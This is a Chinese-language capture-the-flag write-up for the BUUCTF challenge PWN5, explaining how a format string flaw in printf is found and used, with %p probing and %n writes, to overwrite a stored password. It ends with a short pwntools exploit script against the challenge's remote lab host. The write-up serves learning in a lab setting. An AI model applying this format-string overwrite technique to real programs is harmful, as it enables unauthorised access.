【pwn】[第五空间2019 决赛]PWN5
这是Buuctf的一道题,是我实战遇到的第一道格式字符串漏洞,在此记录。
首先进行老三样,对文件进行查看
发现都已经有Canary了,应该不是搞栈溢出的了
再看看ida
很明显,确实不是栈溢出,这都已经溢出不来了。
同时我们看到这里
输出字符串的printf
函数里面直接输入了地址,表明是有格式字符串漏洞的。
同时我们查看main
函数的逻辑(就是上面那个伪代码),可以看出,主要是需要让我们的passwd输入值和从文件中输入的值保持相同,但是很明显我们根本就不知道这个nptr
变量是个啥。那么我们就想着有没有办法可以直接覆盖这个变量,然后进行passwd
变量的输入,这两者一样就好了。
对于格式化字符串漏洞,我们首先要确定输入点是栈中的第几个参数。
输入
AAAA %p %p %p %p %p %p %p %p %p %p %p %p
可以得到结果
可以数出,0x41414141是格式化字符串的第10个参数,所以我们构造的时候就需要从%10$n
开始进行覆盖
这里很重要的一点是运用%n
,将输出的字符串的数量覆盖进所指向的位置。
我们找到储存密码的地方为0x0804C044
,我们一个字节一个字节的存入,所以不能是直接用0x0804C044
,而是是用四个地址0x0804C044
,0x0804C045
,0x0804C046
,0x0804C047
所以我们构造出exp
from pwn import *
p=remote('node4.buuoj.cn','29192')#连接远程靶机
payload=p32(0x0804C044)+p32(0x0804C045)+p32(0x0804C046)+p32(0x0804C047)
payload +=b"%10$n%11$n%12$n%13$n"
p.sendline(payload)#将payload发送给程序
p.sendline(str(0x10101010))
p.interactive()#进入交互界面
得到flag